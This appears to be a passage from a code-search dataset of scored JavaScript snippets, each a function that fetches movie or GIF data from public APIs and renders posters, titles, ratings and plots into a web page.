src=${moviePoster}>\r\n </div>\r\n\r\n <!-- Container For Movie Info -->\r\n <div class=\"movie-info-container\">\r\n <h3 class=\"name\">${movieName}</h3>\r\n <h5 class=\"imdb\">${movieItem.vote_average}</h5>\r\n <p class=\"overview\">\r\n ${movieItem.overview}\r\n </p>\r\n \r\n <p class=\"other\">Country: <span>\r\n </span></p>\r\n <p class=\"other\">Genre: <span>${genres}</span></p>\r\n <p class=\"other\">Release: <span>${movieItem.release_date}</span></p>\r\n <p class=\"other\">Director: <span>AAAA</span></p>\r\n <p class=\"other\">Cast: <span>AAAA</span></p>\r\n </div>\r\n\r\n <!-- Container For Related Movies-->\r\n <div class=\"movie-related-container\">\r\n\r\n </div>\r\n `;\r\n\r\n container.appendChild(div);\r\n }", "title": "" }, { "docid": "b54dc5071ac3d842d4c6448d2369cbb9", "score": "0.69068044", "text": "function renderratedmovies(data) {\n let results = data.results;\n let content = document.querySelector(\".ratedmovies .content\");\n \n ratedmoviescontent.innerHTML = '';\n content.innerHTML = '';\n let h2 = document.createElement(\"h2\");\n let h5 = document.createElement(\"h5\");\n\n h5.textContent = `scroll for all the results >>`\n h2.innerHTML = `RATED MOVIES &nbsp;&nbsp; <i class=\"fas fa-star\"></i>`;\n movieinput.value = '';\n content.appendChild(h2);\n content.appendChild(h5);\n\n if (results.length !== 0) {\n ratedmoviescontent.classList.remove(\"movienotfound\")\n ratedmovies.prepend(content);\n results.map((poster) => {\n if (poster.poster_path) {\n displayratedmovieposters(poster.poster_path, poster);\n }\n })\n }\n else {\n let div = document.createElement(\"div\");\n div.innerHTML = `<div><h2><i class=\"fas fa-heart-broken\"></i> NO MOVIE FOUND <i class=\"far fa-frown\"></i></h2><div>`\n ratedmoviescontent.classList.add(\"movienotfound\")\n ratedmoviescontent.appendChild(div);\n }\n}", "title": "" }, { "docid": "6c0a7e4892ad510e3ec5d0c09fbc4d7c", "score": "0.69012487", "text": "function displayResults(data) {\n \n const movie = data.results;\n \n if(movie.length === 0) {\n const para = document.createElement('p');\n para.textContent = 'No results returned.'\n section.appendChild(para);\n } \n \n else {\n \n const clearfix = document.createElement('div');\n const info = document.createElement('info');\n const heading = document.createElement('h2');\n const title = document.createElement('p');\n const img = document.createElement('img');\n const date = document.createElement('p');\n \n \n \n let current = movie[0];\n title.textContent=current.original_title;\n date.textContent = current.release_date;\n \n \n if (current.poster_path!=null){\n \n img.src = 'https://image.tmdb.org/t/p/w500' + current.poster_path;\n img.alt = current.headline;\n \n }\n \n clearfix.setAttribute('class','clearfix');\n info.appendChild(heading);\n heading.appendChild(title);\n info.appendChild(date);\n info.appendChild(img);\n info.appendChild(clearfix);\n section.appendChild(info);\n \n \n }\n \n \n}", "title": "" }, { "docid": "990b0ddfc5c7c6db9fe0564f23e7b24c", "score": "0.6849385", "text": "function displayDetails (movieId) {\n\tdocument.getElementById(\"movieHeading\").style.display = \"block\";\n\tdocument.getElementById(\"movieDetails\").innerHTML = \"\";\n\tvar xhrDetails = new XMLHttpRequest();\n xhrDetails.open(\"GET\", \"proxy.php?method=/3/movie/\" + movieId);\n xhrDetails.setRequestHeader(\"Accept\",\"application/json\");\n xhrDetails.onreadystatechange = function () {\n\t\tif (this.readyState == 4) {\n\t\t\tvar jsonDetails = JSON.parse(this.responseText);\n\t\t\tdocument.getElementById(\"movieImage\").style.display = \"block\";\n\t\t\tif(jsonDetails.poster_path != \"\")\n\t\t\t\tdisplayPoster(jsonDetails.poster_path);\n\t\t\tvar node;\n\t\t\tnode = document.createElement(\"h4\");\n\t\t\tif(jsonDetails.release_date != null)\n\t\t\t\tnode.appendChild(document.createTextNode(jsonDetails.title + \" (\" + jsonDetails.release_date.substring(0,4) + \")\")) ;\n\t\t\telse\n\t\t\t\tnode.appendChild(document.createTextNode(jsonDetails.title));\n\t\t\tdocument.getElementById(\"movieDetails\").appendChild(node);\n\t\t\tif(jsonDetails.tagline != \"\") {\n\t\t\t\tnode = document.createElement(\"b\");\n\t\t\t\tnode.appendChild(document.createTextNode(\"Tagline: \"));\n\t\t\t\tnodeParent = document.createElement(\"p\");\n\t\t\t\tnodeParent.appendChild(node);\n\t\t\t\tnodeParent.appendChild(document.createTextNode(jsonDetails.tagline));\n\t\t\t\tdocument.getElementById(\"movieDetails\").appendChild(nodeParent);\n\t\t\t}\n\t\t\tif(jsonDetails.overview != \"\") {\n\t\t\t\tnode = document.createElement(\"b\");\n\t\t\t\tnode.appendChild(document.createTextNode(\"StoryLine: \"));\n\t\t\t\tnodeParent = document.createElement(\"p\");\n\t\t\t\tnodeParent.appendChild(node);\n\t\t\t\tnodeParent.appendChild(document.createTextNode(jsonDetails.overview));\n\t\t\t\tdocument.getElementById(\"movieDetails\").appendChild(nodeParent);\n\t\t\t}\n\t\t\tif(jsonDetails.genres != \"\") {\n\t\t\t\tvar concatGenre = \"\";\n\t\t\t\tfor(i=0; i<jsonDetails.genres.length; i++) {\n\t\t\t\t\tconcatGenre = concatGenre + jsonDetails.genres[i].name ;\n\t\t\t\t\tif(i != jsonDetails.genres.length-1)\n\t\t\t\t\t\tconcatGenre = concatGenre + \", \" ;\n\t\t\t\t}\n\t\t\t\tnode = document.createElement(\"b\");\n\t\t\t\tnode.appendChild(document.createTextNode(\"Genres: \"));\n\t\t\t\tnodeParent = document.createElement(\"p\");\n\t\t\t\tnodeParent.appendChild(node);\n\t\t\t\tnodeParent.appendChild(document.createTextNode(concatGenre));\n\t\t\t\tdocument.getElementById(\"movieDetails\").appendChild(nodeParent);\n\t\t\t}\n\t\t}\n\t};\n\txhrDetails.send(null);\n\tvar xhrCredits = new XMLHttpRequest();\n\txhrCredits.open(\"GET\", \"proxy.php?method=/3/movie/\" + movieId + \"/credits\");\n xhrCredits.setRequestHeader(\"Accept\",\"application/json\");\n xhrCredits.onreadystatechange = function () {\n\t\tif (this.readyState == 4) {\n\t\t\tvar jsonCredits = JSON.parse(this.responseText);\n\t\t\tif(jsonCredits.cast != \"\") {\n\t\t\t\tvar concatCast = \"\";\n\t\t\t\tvar maxCast=5;\n\t\t\t\tif(jsonCredits.cast.length <5)\n\t\t\t\t\tmaxCast = jsonCredits.cast.length;\n\t\t\t\tfor(i=0; i<maxCast; i++) {\n\t\t\t\t\tconcatCast = concatCast + jsonCredits.cast[i].name;\n\t\t\t\t\tif(i != maxCast-1)\n\t\t\t\t\t\tconcatCast = concatCast + \", \" ;\n\t\t\t\t}\n\t\t\t}\n\t\t\tnode = document.createElement(\"b\");\n\t\t\tnode.appendChild(document.createTextNode(\"Cast: \"));\n\t\t\tnodeParent = document.createElement(\"p\");\n\t\t\tnodeParent.appendChild(node);\n\t\t\tnodeParent.appendChild(document.createTextNode(concatCast ));\n\t\t\tdocument.getElementById(\"movieDetails\").appendChild(nodeParent);\n\t\t}\n\t};\n\txhrCredits.send(null);\n}", "title": "" }, { "docid": "94f779acd8fa847eea9a4d8f690e0d5d", "score": "0.68336475", "text": "function renderpopularmovies(data) {\n let results = data.results;\n let content = document.querySelector(\".popularmovies .content\");\n popularmoviescontent.innerHTML = '';\n content.innerHTML = '';\n let h2 = document.createElement(\"h2\");\n let h5 = document.createElement(\"h5\");\n\n h5.textContent = `scroll for all the results >>`\n h2.innerHTML = `POPULAR MOVIES &nbsp;&nbsp;<i class=\"fas fa-fire-alt\"></i>`;\n movieinput.value = '';\n content.appendChild(h2);\n content.appendChild(h5);\n\n if (results.length !== 0) {\n popularmoviescontent.classList.remove(\"movienotfound\")\n popularmovies.prepend(content);\n results.map((poster) => {\n if (poster.poster_path) {\n displaypopularmovieposters(poster.poster_path, poster);\n }\n })\n }\n else {\n let div = document.createElement(\"div\");\n div.innerHTML = `<div><h2><i class=\"fas fa-heart-broken\"></i> NO MOVIE FOUND <i class=\"far fa-frown\"></i></h2><div>`\n popularmoviescontent.classList.add(\"movienotfound\")\n popularmoviescontent.appendChild(div);\n }\n}", "title": "" }, { "docid": "57b4e9e63137caf6b88c375f5ecb9d21", "score": "0.67901444", "text": "function displayMovieInfo() {\n\n var search = $(this).attr(\"data-name\");\n // var queryURL = \"https://www.omdbapi.com/?t=\" + search + \"&y=&plot=short&apikey=trilogy\";\n // var queryURL = \"https://www.omdbapi.com/?t=\" + search + \"&y=&plot=short&apikey=trilogy\";\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + search + \"&api_key=J3zMGI3A2CsWJqQh5sOdEkiZDPi38RpE&limit=10\";\n // Creating an AJAX call for the specific movie button being clicked\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (returnObj) {\n $(\"#movies-view\").empty();\n responses=returnObj.data;\n responses.forEach(response => {\n console.log(response);\n\n // Creating a div to hold the movie\n var itemDiv = $(\"<div class='col-md-4 movie'>\");\n var card = $(\"<div class='card'>\")\n // // Storing the rating data\n // var rating = response.Rated;\n\n // // Creating an element to have the rating displayed\n // var pOne = $(\"<p>\").text(\"Rating: \" + rating);\n\n // // Displaying the rating\n // itemDiv.append(pOne);\n\n // // Storing the release year\n // var released = response.Released;\n\n // // Creating an element to hold the release year\n // var pTwo = $(\"<p>\").text(\"Released: \" + released);\n\n // // Displaying the release year\n // itemDiv.append(pTwo);\n\n // // Storing the plot\n // var plot = response.Plot;\n\n // // Creating an element to hold the plot\n // var pThree = $(\"<p>\").text(\"Plot: \" + plot);\n\n // // Appending the plot\n // itemDiv.append(pThree);\n\n // Retrieving the URL for the image\n // var imgURL = response.images[\"480w_still\"].url;\n var still_image=response.images.fixed_width_small_still.url;\n\n // Creating an element to hold the image\n var image = $(\"<img>\").attr(\"src\", still_image);\n image.attr(\"class\",\"card-img-top giphyIm\");\n image.attr(\"data-still\",still_image);\n image.attr(\"data-giphy\",response.images.fixed_width_small.url);\n\n{/* <div class=\"card-body\">\n <h5 class=\"card-title\">Card title</h5>\n <p class=\"card-text\">Some quick example text to build on the card title and make up the bulk of the card's content.</p>\n <a href=\"#\" class=\"btn btn-primary\">Go somewhere</a>\n </div> */}\n var cardBody=$(\"<div class='card-body'>\");\n cardBody.append('<h5 class=\"card-title\">'+response.title+'</h5>');\n cardBody.append('<p class=\"card-text\"> Movie Rating: '+response.rating.toUpperCase()+'</p>');\n\n\n // Appending the image\n card.append(image);\n card.append(cardBody);\n itemDiv.append(card);\n\n\n\n // Putting the entire movie above the previous movies\n \n $(\"#movies-view\").prepend(itemDiv);\n });\n });\n\n}", "title": "" }, { "docid": "c4e2aa1e47f4e09da27e3d9caf698a68", "score": "0.6756928", "text": "function renderMoviesData(movieChoice) {\n $(\".section\").removeClass('hidden');\n \n //render movie title\n var movieTitle = movieChoice.title;\n console.log(movieTitle);\n //render movie synopsis\n var movieSynopsis = movieChoice.synopsis;\n console.log(movieSynopsis);\n //render movie rating\n var movieRating = movieChoice.imdbrating;\n console.log(movieRating);\n //remder movie img url\n var movieImg = movieChoice.imageurl[0];\n console.log(movieImg);\n //creating necessary elements\n const movieTitleDisplay = document.createElement(\"h2\");\n const descriptionDisplay = document.createElement(\"p\");\n const movieRatingDisplay = document.createElement(\"h2\");\n //img creation\n const movieImgDisplay = document.createElement(\"img\");\n movieImgDisplay.setAttribute(\"src\", movieImg);\n movieImgDisplay.setAttribute(\"alt\", \"movie rendered image\");\n movieImgDisplay.setAttribute('class', 'movie-img')\n //setAttribute\n movieTitleDisplay.setAttribute('class', 'movie-title');\n descriptionDisplay.setAttribute('class', 'movie-description');\n movieRatingDisplay.setAttribute('class', 'movie-rating')\n //grab data and insert into html\n movieTitleDisplay.innerHTML = movieTitle;\n descriptionDisplay.innerHTML = \"Brief synopsis: \" + movieSynopsis;\n movieRatingDisplay.innerHTML = \"IMDB Rating of \" + movieRating;\n //append to movie display container\n movieResultEl.appendChild(movieImgDisplay);\n movieResultEl.appendChild(movieTitleDisplay);\n movieResultEl.appendChild(descriptionDisplay);\n movieResultEl.appendChild(movieRatingDisplay);\n $(\".section\").removeClass('hidden');\n\n}", "title": "" }, { "docid": "2481efe803d10db155b5996f515ec61b", "score": "0.6730872", "text": "function displayMyMovies(movieObj) {\n // Section for movie info, add image and title at top\n $(\"#myDisplay\").append(\"<section id=\\\"myMovie-\" + (myMovieNum) + \"\\\" class=\\\"displayMovies\\\"></section>\");\n $(\"#myMovie-\" + (myMovieNum)).append(\"<img src=\\\"\" + movieObj.Poster + \"\\\">\",\n \"<h3>\" + movieObj.Title + \"</h3>\");\n\n // Add div and append rest of info\n $(\"#myMovie-\" + (myMovieNum)).append(\"<div id=\\\"myContent-\" + (myMovieNum) + \"\\\" class=\\\"content\\\"></div>\");\n $(\"#myContent-\" + (myMovieNum)).append(\"<p><b> Directed by:</b> \" + movieObj.Director + \"</p>\",\n \"<p><b> Date Released:</b> \" + movieObj.Released + \"</p>\",\n \"<p><b> Run-Time:</b> \" + movieObj.Runtime + \"</p>\",\n \"<p><b> Genre:</b> \" + movieObj.Genre + \"</p>\",\n \"<p><b> IMDB Rating:</b> \" + movieObj.Rated + \"</p>\",\n \"<p><b> Story By:</b> \" + movieObj.Writer + \"</p>\",\n \"<p><b> Actors:</b> \" + movieObj.Actors + \"</p>\",\n \"<p><b> Language(s):</b> \" + movieObj.Language + \"</p>\",\n \"<p><b> Plot:</b> \" + movieObj.Plot + \"</p>\");\n\n // Hide content\n $(\".content\").hide();\n\n // Append slide down button\n $(\"#myMovie-\" + (myMovieNum)).append(\"<button class=\\\"slideButton\\\">\" + \"Slide Down\" + \"</button>\");\n\n myMovieNum += 1; // Increment myMovieNum\n } // displayMyMovies", "title": "" }, { "docid": "b666e9f92c850fc6afdcb1794dca9639", "score": "0.6688959", "text": "function addMovieInfo(movie) {\n let movieInfo = $(\"<div class='movie-summary-card '>\");\n //checking if there is a URL to post\n let trailer = movie.trailer.qualities\n ? movie.trailer.qualities[1].videoURL\n : \"\";\n\n //Check there is a poster.\n let poster = movie.urlPoster ? movie.urlPoster : \"\";\n\n //Use simple plot if plot is above 500 characters long / too long\n let plot = 0;\n if (movie.plot)\n plot = movie.plot.length > 500 ? movie.simplePlot : movie.plot;\n\n let card_div = $(\"<div class='card-image'>\");\n\n card_div.append(`<div class=\"card-image\">\n <video src=\"${trailer}\" poster=\"${poster}\" \n width=\"100%\" controls>\n </div>\n <div class=\"card-content \">\n <h3 class=\"movie-title\">${movie.title} </h3>\n <p> ${plot} </p>\n </div> `);\n\n card_div.append(createActors(movie.actors));\n\n movieInfo.append(card_div);\n\n return movieInfo;\n}", "title": "" }, { "docid": "a1283be8f08996eb178cefd436a098f6", "score": "0.6680966", "text": "function displayFilmDetails(film) {\n const parentNode = searchTarget;\n parentNode.className += \" active\";\n addInfoNode = document.createElement(\"div\");\n addInfoNode.className = \"add-info\";\n addInfoNode.innerHTML = `\n <p><b>imdb rating:</b> ${film.imdbRating}</p>\n <p><b>cast:</b> ${film.Actors}</p>\n <p><b>awards:</b> ${film.Awards}</p>\n <p><b>director:</b> ${film.Director}</p>\n <p><b>genre:</b> ${film.Genre}</p>\n <p><b>plot:</b> ${film.Plot}</p>`;\n parentNode.appendChild(addInfoNode);\n}", "title": "" }, { "docid": "2969ba7cbc9523cf20b4fbad16e5a2c5", "score": "0.6668583", "text": "function displayMovieUpdates(data) {\n for (index in data.Movies) {\n\t $('div').append(\n '<p>' + data.Movies[index].titleName + `, realesed in ` + data.Movies[index].year + `, about ` + data.Movies[index].description + `, is on ` + data.Movies[index].source + `.` + '</p>');\n }\n}", "title": "" }, { "docid": "57ab5a5b927a65bddcc14f4317622bf0", "score": "0.66618854", "text": "function showMovieInfo(imdb) {\n \n let url = \"http://www.omdbapi.com/?i=\" + imdb + \"&apikey=ea631a09\"\n let request = new XMLHttpRequest()\n \n request.addEventListener(\"load\", function() {\n let details = JSON.parse(this.responseText) \n infoDiv.innerHTML =\n `<div class=\"featured\">\n <div><img src=\"${details.Poster}\"></div>\n <div>Title: ${details.Title}</div> \n <div>Year: ${details.Year}</div> \n <div>Rating: ${details.Rated}</div>\n <div>Relase Date: ${details.Released}</div>\n <div>Director: ${details.Director}</div> \n </div>`\n })\n \n request.open(\"GET\", url)\n request.send()\n \n window.scroll({\n top: 0, \n left: 0, \n behavior: 'smooth'\n })\n}", "title": "" }, { "docid": "b245ad125e392c2c9de40b641a27ed9d", "score": "0.6648758", "text": "function renderMovieDetails(movieData) {\n\n\n//These variables create contianers to hold the details, all the content, and everything else associated with the imdbID\n var box = document.createElement(\"div\")\n box.setAttribute(\"class\", \"box\")\n\n var content = document.createElement(\"div\")\n content.setAttribute(\"class\", \"content\")\n\n var imgWrapper = document.createElement(\"p\")\n imgWrapper.setAttribute(\"class\", \"image\" )\n\n var movieImg = document.createElement(\"img\")\n movieImg.setAttribute(\"src\", movieData.Poster)\n movieImg.setAttribute(\"alt\", movieData.Title)\n\n var movieCardTitle = document.createElement(\"p\")\n movieCardTitle.setAttribute(\"class\", \"title\")\n movieCardTitle.textContent = movieData.Title\n\n var movieCardSubtitle = document.createElement(\"p\")\n movieCardSubtitle.setAttribute(\"class\", \"subtitle\")\n movieCardSubtitle.textContent = movieData.Year\n content.appendChild(movieCardTitle)\n content.appendChild(movieCardSubtitle)\n imgWrapper.appendChild(movieImg)\n content.appendChild(imgWrapper)\n content.appendChild(renderMovieDetailsTable(movieData))\n box.appendChild(content)\n\n return box\n}", "title": "" }, { "docid": "890e008ee39c7ece0e46e00574c03b6d", "score": "0.6639095", "text": "async function displayMovie(){\n let response = await fetch(\"https://portiaportia.github.io/csce242/json/movies.json\");\n let movieJson = await response.json();\n let contentDiv = this.document.getElementById(\"movie-content\");\n \n for (i in movieJson){\n let movie = movieJson[i];\n contentDiv.append(getMovie(movie));\n }\n}", "title": "" }, { "docid": "78b40888dcf9f97105fa1d42653b8e01", "score": "0.6633509", "text": "function showMovies(data) {\n\n contentMovie.innerHTML = '';\n\n data.forEach(movie => {\n\n const {poster_path, original_title, vote_average, release_date} = movie;\n const movieCard = document.createElement(\"div\");\n\n movieCard.classList.add(\"content-movie-card\");\n\n movieCard.innerHTML = `\n <div class=\"content-movie-card-img\">\n <img src=\"${imgUrl + poster_path}\" alt=\"movie-image\">\n </div>\n\n <div class=\"content-movie-card-info\">\n <div class=\"card-info-top\">\n <div class=\"movie-name\">${original_title}</div>\n <span class=\"movie-rate-span ${movieRate(vote_average)}\">${vote_average}</span>\n </div>\n <div class=\"card-info-bottom\"><span class=\"movie-date\">${release_date}</span></div>\n </div>\n `\n\n contentMovie.appendChild(movieCard);\n });\n}", "title": "" }, { "docid": "9b473c550978b7010e9624d9204e9419", "score": "0.6626046", "text": "async function showDetails() {\n const movieID = event.target.id; // get the ID of the movie so we know which movie's details to put in the popup modal\n\n const { title, overview, vote_average, backdrop_path } = movieSet[movieID]; // this is how we access individual properties from our previously saved movie info in our global movieSet array\n\n const videoInfo = await fetch(`https://api.themoviedb.org/3/movie/${movieID}/videos?api_key=${API_KEY}`).then(res => res.json());\n const video_id = videoInfo.results[0].key; // get the first video's youtube key for the movie\n\n // get recommended movies\n const recos = await fetch(`https://api.themoviedb.org/3/movie/${movieID}/recommendations?api_key=${API_KEY}`).then(res => res.json());\n const recosList = recos.results\n .slice(0, 3) // use slice to only use the first 3 recommendations\n // map is an alternative to forEach. We use map here because we save all the content to a variable called recosList and insert it as a part of our details.innerHTML below\n .map(rec => {\n return ` \n <div>\n <h4 class=\"rec-title\">${rec.title}</h4>\n <img src=\"${BASE_IMG}${rec.poster_path}\" />\n </div>\n `;\n })\n .join(''); // necessary to join when using .map instead of forEach\n\n // take everything we did in this showDetails() function and add it all below as a big content block in details.innerHTML\n details.innerHTML = `\n <div id=\"detail-content\">\n <svg class=\"icon\" xmlns=\"http://www.w3.org/2000/svg\" width=\"50\" height=\"50\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#000000\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><circle cx=\"12\" cy=\"12\" r=\"10\"></circle><line x1=\"15\" y1=\"9\" x2=\"9\" y2=\"15\"></line><line x1=\"9\" y1=\"9\" x2=\"15\" y2=\"15\"></line></svg>\n <div class=\"tags\">\n <div class=\"tag\">${vote_average} ☆</div>\n </div>\n <h3 class=\"title\">${title}</h3>\n <p>${overview}</p>\n <a class=\"trailer\" href=\"https://www.youtube.com/watch?v=${video_id}\" target=\"_blank\">Watch Trailer ↗</a>\n <div class=\"related\">\n <h4>Recommendations</h4>\n <div class=\"flex\">\n ${recosList}\n </div>\n </div>\n <img src=\"http://image.tmdb.org/t/p/w1280${backdrop_path}\" class=\"bkg-img\" />\n </div>\n `;\n\n details.classList.add('details-appear'); // after everything is loaded, we show the details box\n document.querySelector('.icon').addEventListener('click', () => details.classList.remove('details-appear')); // add an event listener to our SVG icon to clode the box\n}", "title": "" }, { "docid": "f5b472da0ca6c269a6897bdad32e9d9d", "score": "0.6601837", "text": "function displayMovie(data) {\n // get title in href form for anchor route\n var titleHref = data.Title.replace(/\\s+/g, '-').toLowerCase();\n\n // create a random number to make sure the number applied is dynamic between 1/1000 to make chance of double approx 1%\n let randomNum = Math.round(Math.random() * 1000)\n\n // verify the user inputed a movie title that could be found\n if (data.Response !== \"False\") {\n // make the form div\n let formWrap = $(\"<div>\").addClass(\"formWrap col s12\");\n let row1 = $(\"<div>\").addClass(\"row\");\n let imgWrap = $(\"<div>\").addClass(\"col s4 m2 mvImgWrap\");\n let image2 = $(\"<img>\").addClass(\"mvImg\").attr(\"src\", data.Poster);\n // let rating0 = $(\"<p>\").text(data.Ratings[0].Value);\n // let rating1 = $(\"<p>\").text(data.Ratings[1].Value);\n // let rating2 = $(\"<p>\").text(data.Ratings[2].Value);\n let titleWrap = $(\"<div>\").addClass(\"col s8 m10 mvTitle\");\n let title = $(\"<a>\").attr(\"href\", \"/api/movies/\" + titleHref).html(\"<h5 id='title'> \" + data.Title + \"</h5>\");\n let yearP = $(\"<p>\").addClass(\"year-released\").text(data.Released);\n let formCol = $(\"<div>\").addClass(\"col col s8 m10\");\n let form = $(\"<form>\").addClass(\"ajax\");\n let sliderParagraph = $(\"<p>\").addClass(\"formP\").text(\"Use slider to rate movie\");\n let slider = $(\"<p>\").addClass(\"range-field\").html(\"<input type='range' name='rating' id='rating' min='0' max='100' />\");\n let sliderVal = $(\"<p>\").addClass(\"center slider-txt\").attr(\"id\", \"slider-txt\");\n let row2 = $(\"<div>\").addClass(\"row\");\n let inputField = $(\"<div>\").addClass(\"input-field col s12\");\n let reviewField = $(\"<textarea>\").addClass(\"materialize-textarea\").attr({\n placeholder: \"Your Review (required)\",\n id: \"review\",\n name: \"review\",\n \"data-length\": \"255\",\n maxlength: \"255\"\n })\n let btnDiv = $(\"<div>\").addClass(\"btn-div\");\n let submitButton = $(\"<button>\").addClass(\"btn waves-effect waves-light\").attr({\n id: \"submitBtn\" + randomNum,\n type: \"submit\",\n value: \"send\",\n }).html(\"<i class='material-icons right'>send</i>Submit\");\n\n // append the content together\n imgWrap.append(image2);\n // imgWrap.append(rating0);\n // imgWrap.append(rating1);\n // imgWrap.append(rating2);\n // title.append(yearP);\n btnDiv.append(submitButton);\n titleWrap.append(title);\n titleWrap.append(yearP)\n inputField.append(reviewField);\n row2.append(inputField);\n form.append(sliderParagraph);\n form.append(slider);\n form.append(sliderVal);\n form.append(row2);\n // form.append(btnDiv);\n formCol.append(form);\n formCol.append(btnDiv)\n row1.append(imgWrap);\n row1.append(titleWrap);\n row1.append(formCol);\n formWrap.append(row1);\n\n // put the content on the DOM\n $(\"#search\").append(formWrap);\n\n // reset page listeners\n sliderListener();\n $('input#input_text, textarea#review').characterCounter();\n // $(\"#submitBtn\").off();\n submitReview(randomNum);\n }\n // alert if data could not be found\n else {\n alert(\"The movie you searched for could not be found\");\n };\n}", "title": "" }, { "docid": "362aea7e993a4fb10151c87a1285e702", "score": "0.6600248", "text": "function displayMovieInfo()\n{\n\t$(\"#actor-view\").empty();\n\n\t//store attribute of particular button taht was clicked\n\tvar actor = $(this).attr(\"actor-name\");\n\n\t//constructing a URL to search Giphy for the anme of the actor\n\t//10 is the number of images to display\n\tvar queryURL = \"http://api.giphy.com/v1/gifs/search?q=\" + actor + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n\t//performing our AJAX GET requets\n\t$.ajax(\n\t{\n\t\t//2 parameters we pass into Ajax to retriveve dta online (URL & method)\n\t\turl: queryURL,\n\t\tmethod: \"GET\"\n\n\t})\n\n\t//Function(Done: is a promise meaning once we get a response it will promise to return these results)\n\t.done(function(response)\n\t{\n\n\n\t\t//storing the array of Gif results which contains size=10 or limit = 10\n\t\tvar results = response.data;\n\n\t\t//for-loop handles each of the 10 GIF Img(Display RAting & GIF img)\n\t\tfor(var i = 0; i < results.length; i++)\n\t\t{\n\t\t\t//only taking action if photo has approprate rating. Keep it pg13 rated\n\t\t\tif(results[i].rating != \"r\")\n\t\t\t{\n\t\t\t\t//create DIV\n\t\t\t\tvar gifDiv = $(\"<div class='item'>\");\n\n\t\t\t\t//store rating inside variable\n\t\t\t\tvar rating = results[i].rating;\n\n\t\t\t\t//add class to activate css(.floatLeft) to display images horizontally\n\t\t\t\tgifDiv.addClass(\"floatLeft\");\n\n\t\t\t\t//creating a paragraph tag with result items rating\n\t\t\t\t//NOTE: we use class=\"back\" to invoke css styling in our style.css file where the rating \n\t\t\t\t// has a background in order to the text to be visible\n\t\t\t\tvar p = $(\"<p>\");\n\t\t\t\tp.html(\"<div class='back'> <p> <b> Rating: \" + rating + \"</b> </p> </div>\");\n\n\n\t\t\t\t//create an image tag\n\t\t\t actorImage = $('<img alt=\\'Responsive image\\' class= \\'gif\\' \\'img-fluid\\' data-state=\\'still\\' width=\\'200\\' height=\\'200\\' data-still=\\'' + results[i].images.downsized_still.url + '\\' data-animate=\\'' + results[i].images.fixed_height.url + '\\'>');\n\n\t\t\t\t\n\t\t\t\t//giving the image tag a src attribute retrieving the actual img from GIPHY API\n\t\t\t\tactorImage.attr(\"src\", results[i].images.downsized_still.url);\n\n\t\t\t\t//append both p(rating) & image GIF to <div or gifDiv\n\t\t\t\tgifDiv.append(p);\n\t\t\t\tgifDiv.append(actorImage);\n\n\t\t\t\t//Display rating & image/GIF at <div id=acotr-view>\n\t\t\t\t$(\"#actor-view\").prepend(gifDiv);\n\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t\n\t\t\t}\n\n\t\t}\n\t\t\n\t\t//play & pause when we click on an image. NOTE place inside function because actorImage = $(...) is local and not global\n\t\t$(\".gif\").on(\"click\", function()\n\t\t{\n\t\t\n\t\t\t//store the currently clicked image into the (state) variable\n\t\t\tvar state = $(this).attr(\"data-state\")\n\n\t\t\t//if current state is \"still\" then animate image, otherwise pause\n\t\t\tif(state === \"still\")\n\t\t\t{\n\t\t\t\t//store API \"animate\" verstion of image in \"src\" attribute so image can (play)\n\t\t\t\t$(this).attr(\"src\", $(this).attr(\"data-animate\"));\n\n\t\t\t\t//store \"animate in (data-state) attribute to indicate that the image is \n\t\t\t\t//currently in a moving or animate state\n\t\t\t\t$(this).attr(\"data-state\", \"animate\");\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//Store API \"still\" version in \"src\" attribue so img will (pause)\n\t\t\t\t$(this).attr(\"src\", $(this).attr(\"data-still\"));\n\n\t\t\t\t//store \"still\" in (data-state) attribute which indicates the current state is (pause) or (still)\n\t\t\t\t$(this).attr(\"data-state\", \"still\");\n\n\t\t\t}\n\n\t\t});\n\n\n\n\n\t});\n\n\n\n\n\n}", "title": "" }, { "docid": "45a8efa923aeef41f02ada061044c9b7", "score": "0.6595637", "text": "function displayDataList() {\n\n const movieList = getMoviesByPage(thePage, searchedMovies === [] ? movies : searchedMovies) // 取得目前頁數(確認目前的電影是否過濾)\n mode === 'card' ? renderMovie_Card(movieList) : renderMovie_List(movieList)\n}", "title": "" }, { "docid": "2550d049b94421bb1bf1671bcd92e1a0", "score": "0.6562096", "text": "function displayMovie(data) {\n //console.log(movieType[1])\n let htmlContent = ''\n\n data.forEach(function (item, index) {\n let movieStyle = []\n let movieStyleHtmlContent = ''\n //將所有genres由數字轉換成對應的文字並儲存在html\n item.genres.forEach(function (element) {\n movieStyleHtmlContent += `<span class=\"badge badge-pill badge-light\">${movieType[element]}</span>`\n })\n htmlContent += ` \n <div class=\"col-sm-3\">\n <div class=\"card mb-2\">\n <img class=\"card-img-top \" src=\"${POSTER_URL}${item.image}\" alt=\"Card image cap\">\n <div class=\"card-body movie-item-body\">\n <p class=\"card-title\"><strong>${item.title}</strong></p>\n <p class=\"card-genres\">${movieStyleHtmlContent}</p>\n </div>\n </div>\n </div>`\n })\n moviePanel.innerHTML = htmlContent\n }", "title": "" }, { "docid": "411117982c612724f4c93a280ce1a377", "score": "0.6557937", "text": "function showMovies(movies) {\n\n main.innerHTML = '';\n \n movies.forEach(movie => {\n const {poster_path, title, vote_average, overview} = movie;\n\n const movieEl = document.createElement('div');\n movieEl.classList.add('movie');\n\n movieEl.innerHTML = `\n <img src=\"${IMGPATH + poster_path}\" alt=\"${title}\" >\n <div class=\"movie-info\">\n <h3>${title}</h3>\n <span class=\"${getClassByRate(vote_average)}\">${vote_average}</span>\n </div>\n <div class=\"overview\">\n <h3>Overview:</h3>\n <p class=\"text\">${overview}</p>\n </div>\n `;\n\n main.appendChild(movieEl);\n });\n}", "title": "" }, { "docid": "c51e50faa2a9d87e577f3826b7abcba4", "score": "0.65575796", "text": "function displayMovie(movieJson, movieName) {\n\n //Was the movie name entered on the command line or in the random.txt file?\n if (argTitle === undefined || argTitle === '') {\n \tdisplayResults += '\\nSince you\\'re to LAZY to tell me a movie name, I chose the movie \"' + movieName + '\" for you!';\n }\n else {\n \tdisplayResults += '\\nHere is the information for the movie \"' + movieJson.Title + '\" that you requested!';\n }\n \n displayResults += 